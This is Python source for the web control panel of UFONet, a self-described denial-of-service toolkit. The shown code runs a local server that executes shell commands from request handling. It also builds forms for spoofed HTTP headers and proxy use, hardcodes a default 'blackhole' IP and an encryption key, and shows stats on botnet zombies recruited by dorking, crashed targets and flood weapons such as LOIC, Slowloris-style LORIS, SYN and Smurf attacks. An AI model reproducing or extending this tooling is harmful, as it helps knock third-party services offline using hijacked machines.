webgui.py 279 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620362136223623362436253626362736283629363036313632363336343635363636373638363936403641364236433644364536463647364836493650365136523653365436553656365736583659366036613662366336643665366636673668366936703671367236733674367536763677367836793680368136823683368436853686368736883689369036913692369336943695369636973698369937003701370237033704370537063707370837093710371137123713371437153716371737183719372037213722372337243725372637273728372937303731373237333734373537363737373837393740374137423743374437453746374737483749375037513752375337543755375637573758375937603761376237633764376537663767376837693770377137723773377437753776377737783779378037813782378337843785378637873788378937903791379237933794379537963797379837993800380138023803380438053806380738083809381038113812381338143815381638173818381938203821382238233824382538263827382838293830383138323833383438353836383738383839384038413842384338443845384638473848384938503851385238533854385538563857385838593860386138623863386438653866386738683869387038713872387338743875387638773878387938803881388238833884388538863887388838893890389138923893389438953896389738983899390039013902390339043905390639073908390939103911391239133914391539163917391839193920392139223923392439253926392739283929393039313932393339343935393639373938393939403941394239433944394539463947394839493950395139523953395439553956395739583959396039613962396339643965396639673968396939703971397239733974397539763977397839793980398139823983398439853986398739883989399039913992399339943995399639973998399940004001400240034004400540064007400840094010401140124013401440154016401740184019402040214022402340244025402640274028402940304031403240334034403540364037403840394040404140424043404440454046404740484049405040514052405340544055405640574058405940604061406240634064406540664067406840694070407140724073407440754076407740784079408040814082408340844085408640874088408940904091409240934094409540964097409840994100410141024103410441054106410741084109411041114112411341144115411641174118411941204121412241234124412541264127412841294130413141324133413441354136413741384139414041414142414341444145414641474148414941504151415241534154415541564157415841594160416141624163416441654166416741684169417041714172417341744175417641774178417941804181418241834184418541864187418841894190419141924193419441954196419741984199420042014202420342044205420642074208420942104211421242134214421542164217421842194220422142224223422442254226422742284229423042314232423342344235423642374238423942404241424242434244424542464247424842494250425142524253425442554256425742584259426042614262426342644265426642674268426942704271427242734274427542764277427842794280428142824283428442854286428742884289429042914292429342944295429642974298429943004301430243034304430543064307430843094310431143124313431443154316431743184319432043214322432343244325432643274328432943304331433243334334433543364337433843394340434143424343434443454346434743484349435043514352435343544355435643574358435943604361436243634364436543664367436843694370437143724373437443754376437743784379438043814382438343844385438643874388438943904391439243934394439543964397439843994400440144024403440444054406440744084409441044114412441344144415441644174418441944204421442244234424442544264427442844294430443144324433443444354436443744384439444044414442444344444445444644474448444944504451445244534454445544564457445844594460446144624463446444654466446744684469447044714472447344744475447644774478447944804481448244834484448544864487448844894490449144924493449444954496449744984499450045014502450345044505450645074508450945104511451245134514451545164517451845194520452145224523452445254526452745284529453045314532453345344535453645374538453945404541454245434544454545464547454845494550455145524553
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - Denial of Service Toolkit - 2013/2019 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import socket, threading, re, base64, os, time, random
  10. import webbrowser, subprocess, urllib, urllib2, json, sys
  11. from time import gmtime, strftime, strptime
  12. from Crypto.Cipher import AES
  13. from hashlib import sha1, sha256
  14. from urlparse import urlparse
  15. from base64 import b64decode
  16. from decimal import Decimal
  17. from options import UFONetOptions
  18. from main import UFONet
  19. from core.tools.abductor import Abductor
  20. host = "0.0.0.0"
  21. port = 9999
  22. default_blackhole = '176.28.23.46' # default blackhole
  23. blackhole_sep = "|" # blackhole stream separator
  24. board_msg_sep = "#!#" # board stream separator
  25. grid_msg_sep = "#?#" # grid stream seperator
  26. wargames_msg_sep = "#-#" # wargames stream seperator
  27. crypto_key = "U-NATi0n!" # default encryption/decryption (+moderator board) key
  28. class ClientThread(threading.Thread):
  29. def __init__(self, ip, port, socket):
  30. threading.Thread.__init__(self)
  31. self.ip = ip
  32. self.port = port
  33. self.socket = socket
  34. self.pages = Pages()
  35. def run(self):
  36. req = self.socket.recv(2048)
  37. res = self.pages.get(req)
  38. if res is None:
  39. self.socket.close()
  40. return
  41. out = "HTTP/1.0 %s\r\n" % res["code"]
  42. out += "Content-Type: %s\r\n\r\n" % res["ctype"]
  43. out += "%s" % res["html"]
  44. self.socket.send(out)
  45. self.socket.close()
  46. if "run" in res and len(res["run"]):
  47. subprocess.Popen(res["run"], shell=True)
  48. class Pages():
  49. def file_len(self, fn):
  50. with open(fn) as f:
  51. for i, l in enumerate(f):
  52. pass
  53. return i + 1
  54. def html_army_map(self,target=None):
  55. try:
  56. target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file)) )+"\ninitMap()\n\n"
  57. except:
  58. target_js="not any zombie available\n\n"
  59. if target is not None:
  60. target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n"
  61. return self.pages["/header"] + """
  62. <link rel="stylesheet" href="/js/style.css" />
  63. <link rel="stylesheet" href="/js/ajaxmap.css" />
  64. <link rel="stylesheet" href="/js/leaflet/leaflet.css" />
  65. <link rel="stylesheet" href="/js/cluster/MarkerCluster.Default.css"/>
  66. <link rel="stylesheet" href="/js/cluster/MarkerCluster.css"/>
  67. <script src="/js/leaflet/leaflet.js"></script>
  68. <script src="/js/cluster/leaflet.markercluster-src.js"></script>
  69. <script src="/js/jquery-1.10.2.min.js"></script>
  70. <script src="/js/rlayer-src.js"></script>
  71. <script src="/js/raphael.js"></script>
  72. <script src="/js/ufo.js"></script>
  73. <script src="/js/ajax.js"></script>
  74. </head><body bgcolor="black" text="black">
  75. <div id="wrapper">
  76. <div id="map" style="width: 100%; height: 100%"></div>
  77. </div>
  78. <script type="text/javascript">
  79. window.onload = function(){
  80. """+target_js+"""
  81. }
  82. </script>
  83. <center>
  84. """ + self.pages["/footer"]
  85. def html_request_submit(self):
  86. return self.pages["/header"]+"""<script>
  87. window.setTimeout(window.close,1234)
  88. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  89. <center>settings updated"""+self.pages["/footer"]
  90. def html_requests(self):
  91. # read requests configuration file (json)
  92. try:
  93. with open(self.mothership_webcfg_file) as data_file:
  94. data = json.load(data_file)
  95. except:
  96. if os.path.exists(self.mothership_webcfg_file) == True:
  97. print '[Error] [AI] Cannot open: "core/json/webcfg.json" -> [Aborting!]\n'
  98. return
  99. else: # generate default requests configuration file
  100. print '[Info] [AI] Cannot found: "core/json/webcfg.json" -> [Generating!]'
  101. with open(self.mothership_webcfg_file, "w") as f:
  102. json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5", "rssl": "off"}, f, indent=4)
  103. # set values of requests configuration from json file to html form
  104. with open(self.mothership_webcfg_file) as data_file:
  105. data = json.load(data_file)
  106. self.agents = [] # generating available user-agents
  107. f = open(self.agents_file)
  108. agents = f.readlines()
  109. f.close()
  110. for agent in agents:
  111. self.agents.append(agent)
  112. self.user_agent = random.choice(self.agents).strip()
  113. self.rproxy = data["rproxy"]
  114. if self.rproxy == "NONE":
  115. self.rproxy = ""
  116. self.ruseragent = data["ruseragent"]
  117. if self.ruseragent == "RANDOM":
  118. self.ruseragent = self.user_agent # random user-agent
  119. self.rreferer = data["rreferer"]
  120. if self.rreferer == "RANDOM":
  121. self.rreferer = self.referer # random referer
  122. self.rhost = data["rhost"]
  123. if self.rhost == "NONE":
  124. self.rhost = ""
  125. self.rxforw = data["rxforw"]
  126. if self.rxforw == "on":
  127. self.rxforw_check = 'checked'
  128. else:
  129. self.rxforw_check = ''
  130. self.rxclient = data["rxclient"]
  131. if self.rxclient == "on":
  132. self.rxclient_check = 'checked'
  133. else:
  134. self.rxclient_check = ''
  135. self.rtimeout = data["rtimeout"]
  136. self.rretries = data["rretries"]
  137. self.rdelay = data["rdelay"]
  138. self.threads = data["threads"]
  139. self.rssl = data["rssl"]
  140. if self.rssl == "on":
  141. self.rssl_check = 'checked'
  142. else:
  143. self.rssl_check = ''
  144. return self.pages["/header"] + """
  145. <script language="javascript">
  146. function Requests() {
  147. var win_requests = window.open("requests","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  148. }
  149. </script>
  150. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  151. <u>Configure requests:</u>
  152. <table cellpadding="2" cellspacing="2">
  153. <form method='GET'>
  154. <tr>
  155. <td> Use proxy server:</td>
  156. <td> <input type="text" name="rproxy" value='"""+str(self.rproxy)+"""'></td>
  157. </tr>
  158. <tr>
  159. <td> Use another HTTP User-Agent header:</td>
  160. <td> <input type="text" name="ruseragent" value='"""+str(self.ruseragent)+"""'></td>
  161. </tr>
  162. <tr>
  163. <td> Use another HTTP Referer header:</td>
  164. <td> <input type="text" name="rreferer" value='"""+str(self.rreferer)+"""'></td>
  165. </tr>
  166. <tr>
  167. <td> Use another HTTP Host header:</td>
  168. <td> <input type="text" name="rhost" value='"""+str(self.rhost)+"""'></td>
  169. </tr>
  170. <tr>
  171. <td> Set your HTTP X-Forwarded-For with random IP values:</td>
  172. <td> <input type="checkbox" name='rxforw' """+self.rxforw_check+"""></td>
  173. </tr>
  174. <tr>
  175. <td> Set your HTTP X-Client-IP with random IP values:</td>
  176. <td> <input type="checkbox" name='rxclient' """+self.rxclient_check+"""></td>
  177. </tr>
  178. <tr>
  179. <td> Select your timeout:</td>
  180. <td> <input type="text" name="rtimeout" value='"""+str(self.rtimeout)+"""'></td>
  181. </tr>
  182. <tr>
  183. <td> Retries when the connection timeouts:</td>
  184. <td> <input type="text" name="rretries" value='"""+str(self.rretries)+"""'></td>
  185. </tr>
  186. <tr>
  187. <td> Delay in seconds between each HTTP request:</td>
  188. <td> <input type="text" name="rdelay" value='"""+str(self.rdelay)+"""'></td>
  189. </tr>
  190. <tr>
  191. <td> Number of threads:</td>
  192. <td> <input type="text" name="threads" value='"""+str(self.threads)+"""'></td>
  193. </tr>
  194. <tr>
  195. <td> Force usage of SSL/HTTPS requests:</td>
  196. <td> <input type="checkbox" name='rssl' """+self.rssl_check+"""></td>
  197. </tr>
  198. </table>
  199. <hr>
  200. <input type="hidden" name="update" value="1">
  201. <input type="submit" value="Set!" onclick="Requests()"></pre>
  202. </form>
  203. """ + self.pages["/footer"]
  204. def html_board_profile_submit(self):
  205. return self.pages["/header"]+"""<script>
  206. window.setTimeout(window.close,1234)
  207. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  208. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  209. def html_grid_profile_submit(self):
  210. return self.pages["/header"]+"""<script>
  211. window.setTimeout(window.close,1234)
  212. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  213. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  214. def profile_crew(self, icon):
  215. files = os.listdir("core/images/crew/")
  216. if icon == "NONE":
  217. icon = "link1"
  218. html_stream = ""
  219. html_stream += "<table cellspacing='2' cellpadding='5'><form method='GET'><tr>"
  220. for f in files:
  221. id = str(f.replace(".png", ""))
  222. value = str(f.replace(".png", ""))
  223. if icon == value:
  224. checked = " CHECKED"
  225. else:
  226. checked = ""
  227. html_stream += "<td><input type='radio' name='profile_icon' id='"+id+"' value='"+value+"'"+ checked+"><img src='images/crew/"+f+"'></td>"
  228. html_stream += "</tr></table>"
  229. return html_stream
  230. def html_board_profile(self):
  231. try:
  232. with open(self.mothership_boardcfg_file) as data_file:
  233. data = json.load(data_file)
  234. except:
  235. if os.path.exists(self.mothership_boardcfg_file) == True:
  236. print '[Error] [AI] Cannot open: "core/json/boardcfg.json" -> [Aborting!]\n'
  237. return
  238. else:
  239. print '[Info] [AI] Cannot found: "core/json/boardcfg.json" -> [Generating!]'
  240. with open(self.mothership_boardcfg_file, "w") as f:
  241. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  242. f.close()
  243. with open(self.mothership_boardcfg_file) as data_file:
  244. data = json.load(data_file)
  245. self.profile_token = str(random.getrandbits(128)) # generating random token hash
  246. self.profile_icon = data["profile_icon"]
  247. self.profile_nick = data["profile_nick"]
  248. self.profile_nick.encode('utf-8')
  249. return self.pages["/header"] + """
  250. <script language="javascript">
  251. function BoardProfile() {
  252. var win_board = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  253. }
  254. </script>
  255. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  256. <u>Configure profile:</u>
  257. <table cellpadding="2" cellspacing="2">
  258. <form method='GET'>
  259. <tr>
  260. <td> <u>OPERATOR/LINK:</u></td>
  261. <td> """+self.profile_crew(self.profile_icon)+"""</td>
  262. </tr>
  263. <tr>
  264. <td> <u>NICKNAME:</u></td>
  265. <td> <input type="text" name="profile_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.profile_nick.encode('utf-8')+"""'></td>
  266. </tr>
  267. </table>
  268. <hr>
  269. <input type="hidden" name="update" value="1">
  270. <input type="submit" value="Set!" onclick="BoardProfile()"></pre>
  271. </form>
  272. """ + self.pages["/footer"]
  273. def html_grid_profile(self):
  274. try:
  275. with open(self.mothership_gridcfg_file) as data_file:
  276. data = json.load(data_file)
  277. except:
  278. if os.path.exists(self.mothership_gridcfg_file) == True:
  279. print '[Error] [AI] Cannot open: "core/json/gridcfg.json" -> [Aborting!]\n'
  280. return
  281. else:
  282. print '[Info] [AI] Cannot found: "core/json/gridcfg.json" -> [Generating!]'
  283. with open(self.mothership_gridcfg_file, "w") as f:
  284. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  285. f.close()
  286. with open(self.mothership_gridcfg_file) as data_file:
  287. data = json.load(data_file)
  288. self.grid_token = str(random.getrandbits(128)) # generating random token hash
  289. self.grid_contact = data["grid_contact"]
  290. self.grid_contact.encode('utf-8')
  291. self.grid_nick = data["grid_nick"]
  292. self.grid_nick.encode('utf-8')
  293. return self.pages["/header"] + """
  294. <script language="javascript">
  295. function GridProfile() {
  296. var win_board = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  297. }
  298. </script>
  299. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  300. <u>Configure grid profile:</u><br>
  301. <table cellpadding="2" cellspacing="2">
  302. <form method='GET'>
  303. <tr>
  304. <td> <u>NICKNAME:</u></td>
  305. <td> <input type="text" name="grid_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.grid_nick.encode('utf-8')+"""'></td>
  306. </tr>
  307. <tr>
  308. <td> <u>EMAIL/URL (CONTACT):</u></td>
  309. <td> <input type="text" name="grid_contact" pattern=".{8,120}" required title="8 to 120 characters" value='"""+self.grid_contact.encode('utf-8')+"""'></td>
  310. </tr>
  311. </table>
  312. <hr>
  313. <input type="hidden" name="update" value="1">
  314. <input type="submit" value="Set!" onclick="GridProfile()"></pre>
  315. </form>
  316. """ + self.pages["/footer"]
  317. def html_board_remove(self):
  318. try:
  319. with open(self.mothership_boardcfg_file, "w") as f:
  320. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  321. except:
  322. return
  323. return self.pages["/header"]+"""<script>
  324. window.setTimeout(window.close,1234)
  325. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  326. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  327. def html_grid_remove(self):
  328. try:
  329. with open(self.mothership_gridcfg_file, "w") as f:
  330. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  331. except:
  332. return
  333. return self.pages["/header"]+"""<script>
  334. window.setTimeout(window.close,1234)
  335. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  336. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  337. def html_stats(self):
  338. if self.ranking == "Rookie": # Rookie
  339. your_ranking = "<font color='white'>Rookie [*]</font>"
  340. elif self.ranking == "Mercenary": # Mercenary
  341. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  342. elif self.ranking == "Bandit": # Bandit
  343. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  344. elif self.ranking == "UFOmmander!": # UFOmmander!
  345. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  346. elif self.ranking == "UFOl33t!": # UFOl33t!
  347. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  348. else:
  349. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  350. return self.pages["/header"] + """<script language="javascript">
  351. function Grid() {
  352. var win_grid = window.open("grid","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  353. }
  354. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  355. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  356. <center>
  357. <table cellpadding="5" cellspacing="5"><tr>
  358. <td><img src="/images/mothership.png"></td>
  359. <td>STATS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button></td>
  360. </tr></table>
  361. <table border="0" cellpadding="5" cellspacing="10"><tr><td>
  362. <table border="1" cellpadding="5" cellspacing="10"><tr>
  363. <td><b><u>General:</u></b></td></tr>
  364. <tr>
  365. <td>RANKING:</td><td align='right'>""" + str(your_ranking) + """</td></tr>
  366. <tr><td>Flying (times):</td><td align='right'><font color='red'>""" + str(self.aflying) + """</font></td></tr>
  367. </table>
  368. <br>
  369. <table border="1" cellpadding="5" cellspacing="10"><tr>
  370. <td><b><u>Missions:</u></b></td></tr>
  371. <tr>
  372. <td>Created (launched):</td><td align='right'><font color='red'>""" + str(self.amissions) + """</font></td></tr>
  373. <tr>
  374. <td>Attacks (completed):</td><td align='right'><font color='blue'>""" + str(self.acompleted) + """</font></td></tr>
  375. <tr>
  376. <td>Targets (crashed):</td><td align='right'><font color='green'>""" + str(self.tcrashed) + """</font></td></tr>
  377. <tr>
  378. <td>Crashing (T*100/A=C%):</td><td align='right'><font color='orange'>""" + str(round(self.mothership_acc, 2)) + """%</font></td></tr>
  379. </table>
  380. </td><td>
  381. <table border="1" cellpadding="5" cellspacing="10"><tr>
  382. <td><b><u>Botnet:</u></b></td></tr>
  383. <tr>
  384. <td>Total Cargo (now):</td><td align='right'><a href='javascript:runCommandX("cmd_list_army")'>"""+ self.total_botnet +"""</a></td></tr>
  385. <tr>
  386. <td>Scanner (new bots via dorking):</td>
  387. <td align='right'><font color='blue'>""" + str(self.ascanner) + """</font></td></tr>
  388. <tr>
  389. <td>Transferred (new bots via blackholes):</td>
  390. <td align='right'><font color='green'>""" + str(self.atransferred) + """</font></td></tr>
  391. <tr>
  392. <td>Max. Chargo (always): </td><td align='right'><font color='orange'>""" + str(self.amax_chargo) + """</font></td></tr>
  393. </table>
  394. <br>
  395. <table border="1" cellpadding="5" cellspacing="10"><tr>
  396. <td><b><u>Weapons (use):</u></b></td></tr>
  397. <tr>
  398. <td>LOIC:</td><td align='right'><font color='cyan'>""" + str(self.aloic) + """</font></td>
  399. <td>LORIS:</td><td align='right'><font color='cyan'>""" + str(self.aloris) + """</font></td></tr>
  400. <tr>
  401. <td>UFOSYN:</td><td align='right'><font color='cyan'>""" + str(self.aufosyn) + """</font></td>
  402. <td>SPRAY:</td><td align='right'><font color='cyan'>""" + str(self.aspray) + """</font></td></tr>
  403. <tr>
  404. <td>SMURF:</td><td align='right'><font color='cyan'>""" + str(self.asmurf) + """</font></td>
  405. <td>XMAS:</td><td align='right'><font color='cyan'>""" + str(self.axmas) + """</font></td></tr>
  406. </table>
  407. </td></tr></table>
  408. <br><hr>
  409. <div id="cmdOut"></div>
  410. """ + self.pages["/footer"]
  411. def hmac_sha1(self, key, msg):
  412. if len(key) > 20:
  413. key = sha1(key).digest()
  414. key += chr(0) * (20 - len(key))
  415. o_key_pad = key.translate(self.trans_5C)
  416. i_key_pad = key.translate(self.trans_36)
  417. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  418. def derive_keys(self, key):
  419. h = sha256()
  420. h.update(key)
  421. h.update('cipher')
  422. cipher_key = h.digest()
  423. h = sha256()
  424. h.update(key)
  425. h.update('mac')
  426. mac_key = h.digest()
  427. return (cipher_key, mac_key)
